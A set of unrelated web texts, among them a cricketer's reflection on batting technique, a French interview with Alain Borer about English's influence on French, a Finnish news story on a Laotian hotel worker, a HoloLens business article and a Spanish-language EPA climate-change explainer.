Stuart Clark once dismissed me for a duck with a perfect ball that pitched on off stump line and nipped away but instead of just accepting he’d bowled me a jaffa, I checked out the footage and saw my hands were not coming down straight in my swing pattern and caused everything – my hands and bat – to go towards mid on. So my bat actually was inside the line, hence the ball found my outside edge.
Second innings, my focus was trying to get my hands to go towards mid-off while playing with the inside half of my bat to counter the away movement. Yes I know this is a bit more than ‘Batting 101’ but I only started to understand my own batting by constantly tinkering – even to the extent of working out what doesn’t work, to find out what does.
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Hello Airblocers, we’re glad to announce that Indorse is joining us as a new ecosystem partner.
Indorse is a decentralized social network for professionals. Through cryptoeconomic incentives and a reputation system, Indorse incentivizes users to add their skills/accomplishments and endorse those of others, Indorse creates a revolutionary trusted platform for verifying one’s profile and achievements
For example, an android developer can improve the reliability of his/her programming abilities publicly by obtaining endorsement from other members in the platform. In this sense, Indorse is a decentralized LinkedIn alternative.
With this partnership Airbloc would be integrating Indorse’s profile verification features to enhance the reliability of data submitted to the Airbloc Data Marketplace.
This alliance also allows us to co-research and develop to improve the synergies between Airbloc and Indorse in the future.
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Poète, essayiste, romancier, dramaturge et grand spécialiste de Rimbaud, Alain Borer déplore, en amoureux de la langue, notre soumission au modèle dominant de l'anglais. Un asservissement synonyme, selon lui, d'appauvrissement.
Est-ce votre éloignement -vous êtes "professeur invité" à l'université de Los Angeles- qui vous a poussé à proférer cet appel à la révolte contre l'invasion de l'anglais et ce cri d'amour pour la langue française?
J'habite et travaille à Paris et en Touraine ; il est vrai que je suis, trois mois par an, le dernier des fantassins de la langue française sur la côte Ouest des Etats-Unis. Là-bas, tous mes compatriotes parlent la langue du maître. Mais, en réalité, je suis travaillé par cette question depuis toujours.
De façon ironique, vous rappelez l'apport de la langue française à l'anglais, soit quelque 37000 mots qui ont investi la Grande-Bretagne à partir du XIe siècle...
Les Anglo-Saxons ont deux grands problèmes. Le premier est de ne pas vouloir savoir qu'ils parlent français à 63% : somme toute, l'anglais est du français mal prononcé. C'est un véritable symptôme collectif, un gigantesque refoulement. Le second, qu'ils s'interdisent de parler français. Leur projet est explicitement hégémonique. On l'a vu lors des Jeux olympiques de Londres. A l'exception du prologue, le français en était totalement absent. Même constat dans les aéroports ("control passport"), ou dans les colloques internationaux, etc. : ils font perdre à la langue française sa visibilité. Le drame, c'est que nous collaborons à cette disparition -dans tous les domaines, et même entre nous.
Nous sommes passés, dites-vous, de l'enrichissement mutuel des langues à l'asphyxie de la langue française par l'"anglobal".
Oui, l'"anglobal" est une forme de parasite. A la Renaissance, des milliers de mots italiens sont entrés dans la langue française, mais ils ont été rapidement absorbés, transformés, francisés. Aujourd'hui, et c'est une première dans l'histoire de la langue, les mots anglais qui s'implantent chaque jour dans notre vocabulaire ne sont plus de l'ordre de l'échange, mais de la substitution ("checker" à la place de "vérifier") : ils font penser aux 30 000 flèches d'Azincourt. En France colonisée, c'est Halloween tous les jours. Mais, plus que de colonisation, nous devons parler d'autocolonisation. Nous n'avons pas d'ennemi. C'est l'effet Banania, le début de la déculturation. Regardez ce qu'il se passe avec Daft Punk, The Artist... Pour être reconnus du maître et obtenir la récompense majeure, il faut le mimer, abandonner, renoncer à ce que nous sommes.
Vous citez Segalen à propos des Maoris: "En perdant ses mots, on perd son âme." En sommes-nous là?
[Offre limitée] Spécial rentrée. 1€ par mois
Je m'abonne
Oui, il ne s'agit pas d'une question de fierté ou de défense patriotique. Il s'agit des modes de représentation que fonde une langue. C'est là, et uniquement là, que se situe l'identité. Prenez la représentation collective de la femme, un enjeu majeur. Il n'existe que trois possibilités de traiter ce domaine : pour la première, la différence des sexes n'est pas marquée, comme dans "beautiful" - le puritanisme s'en accommode bien - ; la deuxième consiste à les distinguer par des marques sonores, naturalisantes, à l'instar de l'italien et de l'espagnol, "bello", "bella", "hermoso", "hermosa". Et la troisième, la française, qui, avec son "e" muet, refuse le marquage du genre sur le sexe. Cet "e" muet fonde une coprésence ontologique. C'est une solution admirable par la proposition philosophique qu'elle entraîne.
A tel point que, selon vous, la législation sur le voile provient de cette place particulière de la question de la femme dans la langue.
Nous sommes le seul pays à avoir légiféré sur le port du voile. Et cela ne relève pas, comme ont pu le dire Alain Finkielkraut et Mona Ozouf, de la laïcité, mais de la langue française. L'"e" muet est une brumisation, un vaporisateur, un parfum, pas un marquage. Pour la langue française, une femme voilée est une faute de grammaire dans la rue. Nous sommes aux antipodes du neutre généralisé, c'est-à-dire de la conception anglo-saxonne. Le neutre qui s'empare de la langue française (l'absence d'accord, le pronom lequel, la perte de l'"e" muet...) annonce avec toutes ses conséquences juridiques un changement de projet de société porté par la langue.
Giscard d'Estaing, le 19 mai 1974, au soir du second tour: "France has elected his president." AFP
Cet hégémonisme mâtiné de panurgisme s'étend-il à tous les domaines?
Ils sont tous affectés. La mode avec la "fashion week", la cuisine et ses "fast-foods", les conseils d'administration, la diplomatie, la défense, la chanson, l'aviation, la médecine, le sport... Même le groupe Bourbaki, notre école mathématique française très pointue et riche en médailles Fields, vient de passer à l'anglais... Seule rescapée, l'Education nationale. Or le projet explicite de la loi Fioraso était de faire passer l'université à la langue du maître. Le Sénat a résisté, pour l'instant. Mais c'est inéluctable : la Commission européenne a décidé d'imposer l'anglais à tous les Etats européens. Ce choix renverse l'ordonnance de Villers-Cotterêts, par laquelle François Ier substitua le français au latin comme langue officielle : nous rompons avec cinq siècles de culture et avec le logiciel absolu de l'histoire de France.
L'apprentissage de l'anglais à la maternelle est-il si dangereux?
Dangereux, non, bien sûr. Plus on apprend de langues, plus on est humain, disait le poète latin Ennius. Mais tout apprentissage structure les formes de pensée. Avons-nous été consultés sur le fait que les 28 nations doivent assurer l'enseignement de l'anglais dans les petites classes ? Non. Et c'est de toute évidence un signe supplémentaire de notre renoncement à nous-mêmes : ce sont les Français qui militent pour faire de leur langue une langue régionale dans la mondialisation anglo-saxonne et libérale.
La langue française est parée à vos yeux de toutes les vertus. Elle est rationnelle, esthétique, mélodieuse, élégante... Ne l'idéalisez-vous pas?
Ce n'est pas moi qui idéalise la langue, toute langue est un système d'idéalisation. Mais les langues n'idéalisent pas la même chose: la langue française idéalise la relation. Elle est abstraite, non ethnique, et c'est en cela qu'elle a fondé l'Etat français. Je ne suis pas breton, belge ou corse, je suis homme, c'est ce que dit la langue française. En ce sens, elle développe un projet universel.
Vous démontrez point par point notre soumission à la langue anglaise. A commencer par la "dé-nomination", soit la substitution de mots anglo-saxons à des mots français disponibles.
Prenez le terme "booster".On pourrait dire "propulser", issu du latin, ou "dynamiser", qui provient du grec. On n'entend plus l'oreille française à travers "booster", ni à travers "mail", à la place de "courriel", ou "deal", à la place d'"échanger", etc. Nous sommes en train de passer de l'oreille romane à l'oreille gothique. Par ailleurs, ces importations impliquent une gigantesque perte de nuance : on dit "bouger" et non plus "se déplacer", "s'en aller"... Enfin, il n'y a plus de polissage phonétique à la française. Le polissage, c'est l'équilibre des voyelles et des consonnes. Même les accents régionaux sont respectueux de cet équilibre, or il se perd. Nous entrons dans l'ère du français pourri, le "broken French".
Vous parlez aussi de "désinvention". Qu'entendez-vous par là?
Notre passivité ou incapacité de forger des mots pour des concepts ou des fonctions nouvelles : "think tank", "input","geek","burn-out"... Qu'avons-nous créé récemment? "Mémériser", "vapoter". Hier, on inventait "miroir", "fontaine". La langue n'évolue pas, elle involue.
Quels en sont les causes ou les fautifs?
L'un des grands responsables n'est autre que Lionel Jospin, ministre de l'Education nationale, qui a déconnecté la fontaine latine en 1993. Comment voulez-vous réinventer si on ne dispose plus de ses racines, si on ne peut plus puiser dans son oreille originelle ? Désormais, pour nommer les objets nouveaux, on n'a plus que le néolatin international, la nouvelle lingua franca.
N'êtes-vous pas féroce lorsque vous traitez Lionel Jospin d'"illettré militant"?
Mais il en est un de première catégorie, avec une responsabilité sur la très longue durée. De 1974 à 2014, nous venons de vivre les Quarante Piteuses. A l'origine, il y a Giscard d'Estaing, le grand fourrier de la langue française, qui lance son message au monde en anglais depuis le balcon de la rue de la Bienfaisance. Les Québécois en pleuraient. Même François Mitterrand a été gravement passif, il l'a regretté d'ailleurs à la fin de sa vie. Il a laissé tous les collabos, les Camdessus, les Trichet, les Védrine, les Lamy, se déchaîner dans la langue du maître. Bel exemple de La Trahison des clercs.
Rappelez-vous, en 1420, alors que la France disparaît de sa propre carte, les Armagnacs furent laminés par les Bourguignons. Le clivage droite-gauche n'a pas de pertinence en période de tempête, ce qui remonte aujour d'hui (en 2014, dans les mêmes chiffres que 1420 !), c'est ce clivage fondamental Armagnacs-Bourguignons. Et les Armagnacs, aujourd'hui, n'ont aucune chance, car les Bourguignons ont désormais de leur côté le fédéralisme européen, qui installe un espace anglophone libéral. Ce qui est frappant, c'est qu'il y a un effet de "naturalisation", comme disait Barthes, la langue du maître paraît désor mais naturelle.
"Mal-diction": "Finalement, Coluche est entré à l'Elysée avec Sarkozy." AFP
Et les nouvelles technologies? Ne changent-elles pas le cours du temps?
Absolument. La langue française est une langue écrite, et la seule qui ne prononce pas tout ce qu'elle écrit. Lorsque je dis "ils entrent", l'"ent" final ne se prononce pas : il s'agit d'une vérification grammaticale, ce que j'appelle le "vidimus" (du latin, "ce que nous avons vu"), qui permet la vérifiabilité par écrit, et garantit aussi la précision. La langue est accompagnée par sa grammaire. Rappelez-vous la résolution de l'ONU après la guerre des Six Jours sur les "occupied territories". La version française seule précise s'il s'agit "des" territoires ou "de" territoires occupés. Or c'est le vidimus que percutent de plein fouet les nouvelles technologies : aucune autre langue n'est si gravement menacée par les nouvelles technologies ; si la langue française perd le vidimus, elle ne sera plus qu'une langue comme une autre et disparaîtra.
Les fautes de français pullulent-elles?
Oui, tout le monde désormais fait des fautes massivement, et des fautes sur le logiciel, sur les prescriptions fondamentales, comme la confusion des sons et des temps, le futur et le conditionnel, j'irai ou j'irais. Vous pouvez l'entendre tous les jours, à 20 heures, chez M. Delahousse (bonne soirAIT). C'est un festival, celui d'un temps nouveau, le confusionnel. C'est un effet de l'ère du virtuel, le conditionnel et les choses réelles ne se distinguent plus. De même pour le subjonctif et l'indicatif. Sur France Culture, Giscard d'Estaing disait "après que je sois élu". L'indicatif après "après que" a mille ans !
Vous n'êtes pas tendre avec Coluche, le maître, selon vous, de la "mal-diction". Vous n'avez pas peur de vous faire des ennemis?
Oui, je sais, Coluche est absolument intouchable. Mais il est celui qui casse tout, qui rompt avec le vidimus, le projet de la langue française. C'est politique, il a voulu être président de la République. Finalement, je pense qu'il est entré à l'Elysée avec Sarkozy: "J'écoute, mais j'tiens pas compte." C'est du Coluche... La langue de Coluche s'oppose à la langue de Molière. Il y a pour la première fois dans notre histoire un alignement entre la société, qui a choisi de dire "fashion week", l'audiovisuel - My TF1, BFM News- et les politiques qui se vautrent dans l'anglais.
"L'histoire de France, écrit Michelet, commence avec la langue française." Il est temps de voir en quoi notre société se transforme. Comme les Gallo-Romains qui ont trahi leur passé en abandonnant leur culture, les "gallo-ricains" se soumettent au modèle dominant. Et le français, tendant au chiac, ce sabir anglo -français qui sévit dans le Nouveau-Brunswick ("je watche la TV"), devient tous les jours moins attractif. On peut dire que l'histoire de France s'achève avec sa langue.
Que devient la francophonie, dans ce contexte?
De quel amour blessée. Réflexions sur la langue française, par Alain Borer. Gallimard, 354p., 22,50€.
La langue et la culture françaises sont désirées partout dans le monde comme une alternative au modèle anglo-saxon. Mais nous, nous y avons renoncé. Sinon, nous verrions tous les jours à la télévision les Québécois, les Belges, les Suisses, les Burkinabés... Or que nous propose-t-on ? Des séries américaines. La France a renoncé à la francophonie pour prendre part à l'Europe anglophone. Djibouti sera perdu dans dix ans, le Rwanda, où les professeurs de français sont ringardisés, l'est déjà. La perte de la francophonie est imminente. Que faire ? "On a beau crier dans le désert, cela ne fait pas tomber les étoiles", dit un proverbe dogon.
De quel amour blessée. Réflexions sur la langue française, par Alain Borer. Gallimard, 354p., 22,50€.
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Why don't we take all the good from players from each team and put them on the same team?
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The advantage of nearly all dynamic languages over C is that it's much harder to get buffer overflows while doing string manipulation, which can easily become a security problem.
Also Perl has libraries that help you dealing with the CGI protocol, and they are battle tested and stable.
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If you get put pulled over after leaving the bar and hand your credit card to the officer instead of your license you're gonna have a bad time
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Laosilainen Jolene Boudavong on työskennellyt seitsemän kuukautta hotellin kerroshoitajana. Työmatkat Muurolasta Rovaniemelle hän tekee bussilla, joiden siisteyttä ja viihtyisyyttä hän kehuu.
Laosilainen Jolene Boudavong on työskennellyt seitsemän kuukautta hotellin kerroshoitajana. Työmatkat Muurolasta Rovaniemelle hän tekee bussilla, joiden siisteyttä ja viihtyisyyttä hän kehuu. Jarmo Honkanen / Yle
Miksi ihmeessä me edellyttäisimme sujuvaa suomea, ihmettelee Suomen parhaaksi valitun hotellin johtaja.
Kaakkois-Aasian Laosista vuonna 2009 Muurolaan muuttanut Jolene Boudavong petaa sänkyä Arctic Light Hotelissa. Pyyhkeet hän taittelee toisinaan elefantin tai joutsenen muotoon, tällä kertaa syntyy kukkia. Kerroshoitajan työ tuottaa suurta iloa kuuden vuoden työttömyyden jälkeen.
– Yritin löytää työtä monen monta kertaa. Minulle kuitenkin kerrottiin, että Suomesta ei voi saada työpaikkaa, ellei osaa puhua, kirjoittaa ja lukea suomea.
37-vuotias Jolene kertoo työvoimatoimiston ohjanneen hänet kerta toisensa jälkeen kotoutumiskurssille parantamaan kielitaitoaan. Hän eli siinä uskossa, että toivoa työpaikasta ei ole.
– Sehän on suoraan sanottuna absurdi tilanne. Meillä suomen kielen taito ei todellakaan ole välttämättömyys tai edellytys. Tässäkin tarvittiin sitä kolmatta toimijaa eli yksityistä puolta Jolenen työllistämisen avuksi. Suomen kielen taito ei ole välttämättömyys, mutta tekemisen ilo on. Tässä tapauksessa olisi ollut suoranainen synti, että se olisi jäänyt käyttämättä, sanoo Arctic Light Hotelin johtaja Timo Kärki.
Kolmas osapuoli oli Heidi Alariesto, joka opetti kurssilla, jonne Jolene oli jälleen lähetetty. Hän kiinnitti huomiota laosilaisnaisen asenteeseen ja kädentaitoihin ja otti yhteyttä hotelliin.
Hallitus kiirehtii yhteyksiä työelämään
Lapin TE-toimiston johtaja Tiina Keränen sanoo, että työvoimatoimistossa pitäisi kyllä tulla esille se, että työtä voi hakea suoraan yrityksistä, eikä suomen kielen taitoa aina tarvita.
– Ehkä se ei kuitenkaan ole ollut ensisijainen asia kotoutumisvaiheessa, Keränen myöntää. Kotoutumisvaihetta yritetään nyt hallituksen päätöksellä lyhentää niin, että maahanmuuttajat pääsisivät mahdollisimman pian työmarkkinoille. Vuosien kielikurssikierrettä siis pyritään välttämään.
Ensimmäisellä viiden kuukauden kurssilla keskitytään suomen kielen perustaitojen opetteluun. Seuraavilla viiden kuukauden pituisilla kursseilla opetellaan työelämän sanastoa sekä tutustutaan työelämään käytännössä. Uudenlainen kotoutumiskoulutus on vasta sisäänajovaiheessa.
Keränen sanoo, että TE-toimisto tekee työtarjouksia avoimiin työpaikkoihin yhtä lailla kantasuomalaisten kuin maahanmuuttajienkin puolesta. Tieto työnantajan kielitaitovaatimuksista onkin tärkeä. Työnhakijoita Keränen muistuttaa siitä, että vain noin 40 % avoimista työpaikoista ilmoitetaan TE-toimistoon.
Kokkeja kaukomailta
Suomen parhaaksi hotelliksi Trivago-hotellihakupalvelussa rankattu Arctic Light Hotel ei ole vielä ollut vaikeuksissa rekrytointien kanssa, niin paljon kuin matkailualan työvoimapulasta tällä hetkellä puhutaankin. Keittiöhenkilökunnan, kuten kokkien löytämisessä saatetaan Kärjen mukaan kuitenkin ajautua lähivuosina ongelmiin. Heitä aletaan ehkä etsiä suoraan ulkomailta.
– En pidä sitä poissuljettuna. Siinä työssä ruoan laatu ja makuaisti on paljon tärkeämpää kuin suomen kieli.
Hotellin noin kahdestakymmenestä työntekijästä viisi on maahanmuuttajataustaisia. Jolenen lisäksi ulkomaalaistaustaisia työntekijöitä on Turkista, Venäjältä, Thaimaasta ja Puolasta.
– Oletan, että kaikki nämä kielet ovat olleet hotellissa käytössä ja niillä on tehty vaikutus asiakkaisiin, Kärki toteaa. Hotellinjohtaja arvioi, että 95 prosenttia asiakkaista on ulkomaalaisia.
– Miksi ihmeessä me edellyttäisimme sujuvaa suomea, kun me muutenkin puhumme englantia.
HIV-orpojen tuki ja turva
Jolene Boudavong sanoo vähän allapäin, että suomen kieli on jäänyt heikoksi vaikka kursseja on käyty.
– Ymmärsin kun opettaja puhui selkeästi ja hitaasti, mutta kadulla ihmiset puhuvat niin nopeasti etten ymmärrä, hän tiivistää jokaiselle kielenoppijalle tutun dilemman.
Suomen sijaan hän puhuu kiinaa, japania ja thaita. Kielitaito parani ja palvelukulttuuri hioutui huippuunsa kun Jolene palveli lentoemäntänä Laosin presidenttiä ja ministereitä heidän matkoillaan. Sosialistisen Laosin johtoa lennätettiin niin Kuubaan kuin Pohjois-Koreaankin.
Muurolaan laosilaisnaisen toi suomalainen mies. Avioliitto päättyi, mutta 9-vuotiaan tyttären äiti aikoo pysyä Muurolassa vielä vuosia. Yliopistokoulutettu nainen ei kummastele sitä, että ansaitsee nyt elantonsa siivoustyöllä.
– Suomessa saa tunnissa sen, mitä Laosissa päivässä. Laosissa minulle maksettaisiin ehkä kymmenen euroa päivässä.
Tyttären lisäksi Jolene huolehtii 21:n HIV-tartunnan saaneen laosilaislapsen toimeentulosta. Heille lähtee kerroshoitajan palkasta satoja euroja kuukaudessa. Energinen nainen suunnittelee, että jonain päivänä hän palaa Laosiin ja kertoo kaiken mitä on Suomessa oppinut.
– Haluan vielä oppia lisää esimerkiksi suomalaisesta koulusta, jotta voin parantaa lasten elämää Laosissa.
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The Microsoft HoloLens Development Edition that was released last week gave some interesting insight on the future use of the upcoming hologram projecting headset. Many of the purchases of the $3000 hardware weren’t for household use, but instead commercial businesses that seek to use the new tool for advancing their market. Businesses and large groups such as Lowes, Saab, and Shanska have decided to take advantage of the opportunities that the headset can provide by utilizing the holographic overlay for remodeling homes to having a first person perspective as users connect with sales representatives.
Even Microsoft’s chief marketing officer, Chris Capossela was surprised by the reaction of the commercial interest in the HoloLens. During the Envision Conference taking place this week in New Orleans, Capossela made a statement to reporters emphasizing that the hardware was originally intended for gaming but has evolved into a much more useful product.
“We totally underestimated the commercial interest in this thing. The team who built it, a lot of them had their roots in Xbox. Alex Kipman and Kudo [Tsunoda]. And so they originally envisioned it as something more along those lines, but as we started to show it to people, we were blown away by the commercial interest.”
Microsoft HoloLens: Partners make it real The Microsoft HoloLens Development Edition that was released last week gave some interesting insight on the future use of the upcoming hologram projecting headset. Many of the purchases of the $3000 hardware weren't for household use, but instead commercial businesses that seek to use the new tool f
CEO Satya Nadella has decided to embrace the new direction of the HoloLens as well. Chris Capossela claimed that he originally had told the development team, “Hey I love this thing, but I think you’re going to find that the scenarios are more interesting on the commercial side early on.” Sure enough, it was more interesting leading into new ventures and environments such as the Destination Mars exhibit from NASA.
While the HoloLens has evolved to be an exceptional productivity headset, the $3000 price tag is unreasonable for most everyday household use. Capossela ensured consumers that while the demand is low in comparison to the business interest, the price would eventually reduce.
“It’s a journey we’re going to go on, where over time the hardware will get better, things will get cheaper,” Capossela said. “But for it to be something really broadly available, where you can go to Best Buy and buy it for a Christmas gift, we’re not there and instead, I think the real V1 scenarios are about these business scenarios that people are really excited about.”
With comparisons to the competing Oculus Rift and HTC Vibe that have already reached consumers worldwide with much more reasonable pricing, HoloLens appears to be trailing behind the virtual reality market. Even with the delay in development compared to the others, Capossela is confident in the execution of the Microsoft HoloLens, “We’re very excited that all the VR work is happening on Windows. We love that. We love that Oculus requires a big gaming rig. Those are very positive things for the Windows ecosystem, and we want Windows to be the place that VR happens.”
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Preguntas más frecuentes Lea las preguntas más frecuentes sobre el cambio climático y sus impactos.
Visión general
Nuestra Tierra se está calentando. La temperatura media de la Tierra ha subido más 1.5°F (0.8ºC) a lo largo del pasado siglo. Dependiendo de futuras emisiones de gases de efecto invernadero y cómo el clima responda, se proyecta que la temperatura media aumentará a nivel mundial entre 0.5 a 8.6°F para el 2100 con un aumento posible de hasta 2.7°F para todos los escenarios con la excepción de uno en el cual se representen los esfuerzos más agresivos de mitigación para las emisiones de gases de efecto invernadero.
La evidencia es clara. El alza en las temperaturas ha sido acompañada por cambios en el estado del tiempo y el clima. Muchos sitios han visto cambios en la cantidad de lluvia, así como olas de calor más frecuentes y severas. Los océanos y glaciares también han experimentado algunos cambios grandes: los océanos se están calentando y acidificando, las capas de hielo se están derritiendo y los niveles del mar están subiendo. Estos cambios habrán de presentar retos a nuestra sociedad y a nuestro medio ambiente.
El cambio climático afecta a todos
Los seres humanos son mayormente responsables del cambio climático reciente. Durante el siglo pasado, la actividad humana ha descargado grandes cantidades de dióxido de carbono y otros gases de efecto invernadero a la atmósfera.
La mayoría de los gases de efecto invernadero provienen de la quema de combustibles fósiles que producen energía, aunque la deforestación, los procesos industriales y algunas prácticas agrícolas también emiten gases a la atmósfera.
Los gases de efecto invernadero actúan como una manta alrededor de la Tierra, la cual atrapa la energía en la atmósfera y ocasiona que se caliente. Este fenómeno es llamado efecto de invernadero y es natural y es necesario para sustentar la vida en la Tierra.
Sin embargo, la acumulación de gases de efecto invernadero puede cambiar el clima de la Tierra y resultar en efectos peligrosos que afectarían nuestros suministros de agua, agricultura, sistemas de energía y transporte, el medio ambiente natural y hasta nuestra propia salud y seguridad.
Algunos de los cambios del clima son inevitables. El dióxido de carbono puede permanecer en la atmósfera por casi un siglo por lo cual la Tierra continuará calentándose en las próximas décadas. Cuanto más caliente se ponga, mayor es el riesgo de cambios más severos en el clima y el sistema de la Tierra.
Podemos reducir los riesgos a los cuales nos enfrentamos por el cambio climático. Al elegir opciones que reducen la contaminación de gases de efecto invernadero y prepararnos para los cambios que ya están en curso, podemos reducir los riesgos al cambio climático.
Las opciones que elijamos hoy afectarán la cantidad de gases de efecto invernadero que emitiremos a la atmósfera. Nuestras decisiones darán forma al mundo en que vivirán nuestros hijos y nietos.
La ciencia del cambio climático
El clima terrestre está cambiando de muchas maneras que afectan nuestras condiciones del tiempo, los océanos, la nieve, el hielo, los ecosistemas y la sociedad.
Las causas (En Inglés)naturales exclusivamente no pueden explicar muchos de estos cambios. Las actividades humanas contribuyen al cambio climático, primordialmente al descargar a la atmósfera cada año miles de millones de toneladas de dióxido de carbono (CO2) y otros gases que atrapan el calor, conocidos como los gases de efecto invernadero.
Los cambios climáticos continuarán en el futuro (En Inglés). Mientras más gases de efecto invernadero emitamos, mayores serán los cambios climáticos en el futuro.
Los cambios en el sistema climático afectan nuestra salud, el medio ambiente y la economía. Podemos prepararnos para algunos de estos impactos (En Inglés)del cambio climático para reducir sus efectos en nuestro bienestar.
Los modelos que solo toman en cuenta los efectos de los procesos naturales no son capaces de explicar el calentamiento que ocurrió el siglo pasado. Los modelos que también toman en cuenta los gases de efecto invernadero emitidos por los humanos son capaces de explicar el calentamiento.
Los procesos naturales tales como los cambios en la energía solar, los cambios en las corrientes de los océanos, y otros, afectan el clima terrestre. Sin embargo, estos no explican el calentamiento que hemos observado a lo largo de los últimos 50 años.
Las causas humanas pueden explicar estos cambios
Gran parte del calentamiento del pasado medio siglo ha sido causado por emisiones humanas de los gases de efecto invernadero (En Inglés). Los gases de efecto invernadero provienen de una variedad de actividades humanas que incluyen la quema de combustibles fósiles para la calefacción y la energía, la tala de los bosques, la fertilización de los cultivos, el almacenamiento de desechos en vertederos, la ganadería, y la elaboración de algunos tipos de productos industriales.
Las emisiones de gases de efecto invernadero no son la única manera en la cual la gente puede cambiar el clima. Las actividades como la agricultura o la construcción de carreteras pueden cambiar la reflectividad de la superficie terrestre, conduciendo a un calentamiento o enfriamiento local. Este efecto es observado en centros urbanos que a menudo están más calientes que las áreas circundantes menos pobladas. Las emisiones al aire de pequeñas partículas, conocidas como los aerosoles, también pueden conducir a la reflexión o absorción de la energía del sol.
Aprenda más acerca de las tendencias climáticas pasadas y presentes y sus causas (En Inglés). También infórmese acerca de los indicadores del cambio climático (En Inglés).
El clima continuará cambiando, pero el alcance dependerá de la manera en que reduzcamos nuestras emisiones
Durante el siglo XXI, se proyecta que el calentamiento global habrá de continuar y los cambios climáticos probablemente habrán de intensificarse. Los científicos han usado modelos climáticos para proyectar los diferentes aspectos del clima futuro, incluyendo la temperatura, la precipitación, la nieve y el hielo, el nivel del océano y la acidez oceánica. Dependiendo de las emisiones futuras de los gases de efecto invernadero y de cómo el clima responderá, se proyecta que las temperaturas medias globales habrán de aumentar a nivel mundial de 2º F a 11.5º F (1.1ºC a 6.4ºC) para el año 2100.
Aprenda más (En Inglés)acerca de las proyecciones del cambio climático futuro.
Los impactos del cambio climático tienen un impacto en nuestra salud, el medio ambiente y la economía
El cambio climático afecta nuestro medio ambiente y recursos naturales e impacta nuestra forma de vida en muchas maneras. Por ejemplo:
Las temperaturas más cálidas aumentan la frecuencia, la intensidad y la duración de las olas de calor, que pueden presentar riesgos a la salud, particularmente entre los niños más pequeños y los ancianos.
Aumentos en los niveles del mar amenazan las comunidades y los ecosistemas costeros.
Los cambios en los patrones y la cantidad de lluvia, así como los cambios en el tiempo en que esta ocurre y la cantidad del flujo de agua pueden afectar los suministros y la calidad del agua potable y la producción hidroeléctrica.
Los ecosistemas cambiantes influyen la distribución geográfica de muchas especies de plantas y animales y el momento en el cual ocurren los eventos relacionados a su ciclo de vida, tales como la migración y la reproducción.
Los aumentos en la frecuencia y la intensidad de los eventos de clima extremos, tales como olas de calor, sequías, e inundaciones, pueden aumentar las pérdidas a propiedades y ocasionar alteraciones costosas a la sociedad.
Podemos prepararnos para algunos de los impactos más probables del cambio climático y así reducir su efecto en el ecosistema y bienestar humano. El realizar dichos preparativos se conoce como adaptación. Los ejemplos de la adaptación incluyen el fortalecer los programas de conservación de agua, mejorar los sistemas de aguas pluviales, desarrollar sistemas de advertencia temprana para eventos meteorológicos extremos, así como estrategias de preparación y respuesta a emergencias.
Aprenda más (En Inglés)cerca de cómo los impactos de cambio climático habrán de afectar diferentes regiones y sectores de EE.UU. y cómo prepararnos.
Lo que la EPA está haciendo
El Plan de Energía Limpia Nuestro Plan de Energía Limpia protegerá la salud pública, el medio ambiente y nuestra economía. Lea las hojas informativas
La EPA está tomando varios pasos de sentido común para abordar el reto del cambio climático.
Recopilación de data de emisiones
La EPA recopila varios tipos de datos de emisiones de gases de efecto invernadero. Estos datos ayudan a las personas que formulan las políticas, a negocios, y a la agencia a monitorizar las tendencias de las emisiones de gases de efecto invernadero, así como a identificar oportunidades para reducir las emisiones y aumentar la eficiencia.
El Inventario de Emisiones y Sumideros de Gases de Efecto Invernadero de EE.UU. (En Inglés) provee el estimado oficial del total de emisiones de gases de efecto invernadero de Estados Unidos a nivel nacional. Este informe rastrea las emisiones de gases de efecto invernadero de EE.UU. desde 1990.
provee el estimado oficial del total de emisiones de gases de efecto invernadero de Estados Unidos a nivel nacional. Este informe rastrea las emisiones de gases de efecto invernadero de EE.UU. desde 1990. El Programa de Informes de Gases de Efecto Invernadero (En Inglés) colecciona y publica los datos de emisiones de instalaciones individuales en Estados Unidos que emiten gases de efecto invernadero en grandes cantidades.
Logrando reducciones
La EPA está reduciendo las emisiones de gases de efecto invernadero y fomentando una economía de energía limpia mediante alianzas altamente exitosas e iniciativas reglamentarias de sentido común.
El desarrollo de iniciativas reglamentarias de sentido común. : La EPA está desarrollando iniciativas reglamentarias, para reducir las emisiones GEI y aumentar la eficiencia. Por ejemplo, las normas de gases de efecto invernadero para vehículos de la EPA, ahorrarán a los consumidores $1.7 millón de millones en las gasolineras para el 2025 y eliminarán seis mil millones de toneladas métricas de contaminación GEI.
Alianzas con el sector privado: Mediantes programas voluntarios de energía y clima, la EPA y sus socios redujeron más de 245 millones de toneladas métricas de gases de efecto invernadero tan solo en el 2010—el equivalente de emisiones provenientes de 81 millones de vehículos—y ahorraron unos $21 mil millones a los consumidores y negocios.
El reducir la huella de carbono de la EPA: La agencia está monitorizando su propio uso de energía y consumo de combustible y está trabajando para reducir las emisiones de gases de efecto invernadero por un 25% para el 2020.
Evaluando opciones de política, costos y beneficios
La EPA realiza varios análisis a nivel de toda la economía para entender los impactos económicos y la eficacidad de las propuestas políticas de cambio climático. Infórmese acerca de los análisis económicos de la EPA sobre las políticas climáticas y los costos y beneficios asociados.
Avanzando la ciencia
La EPA contribuye a la investigación de primera clase sobre el clima mediante el Programa de Investigación del Cambio Global de EE.UU. y el Grupo Intergubernamental de Expertos sobre Cambio Climático.
La Oficina de Investigación y Desarrollo de la EPA realiza investigaciones para entender los impactos ambientales y a la salud y proveer soluciones sostenibles para adaptarse a y reducir el impacto del clima cambiante.
Asociaciones internacionales
La EPA está participando en una variedad de actividades internacionales para avanzar la ciencia del cambio climático, monitorizar nuestro medio ambiente y promover actividades para reducir las emisiones de gases de efecto invernadero. La EPA establece consorcios, provee liderazgo, y comparte pericia técnica para apoyar estas actividades.
Asociaciones con estados, localidades y tribus
El Programa de Clima y Energía Estatal y Local de la EPA provee asistencia técnica, herramientas analíticas y apoyo de alcance público en asuntos de cambio climático para gobiernos estatales, locales y tribales.
Lo que Ud. puede hacer para tomar acción climática
El manejar un auto, el uso de electricidad y calefacción en su hogar y el botar la basura, son acciones que conducen a la generación de emisiones de gases de efecto invernadero. Usted puede reducir estas emisiones mediante acciones sencillas como el cambiar una bombilla, apagar los aparatos electrónicos, el usar menos agua, y el reciclaje.
Infórmese sobre las medidas fáciles que usted puede realizar en su hogar, en la escuela, en la oficina y en la carretera para proteger el clima, reducir la contaminación de aire, y ahorrar dinero. ¡Tome acción hoy! Estas pequeñas acciones se irán sumando, si todos ponemos de nuestra parte.
El cambio climático en EE.UU.: los beneficios de la acción global
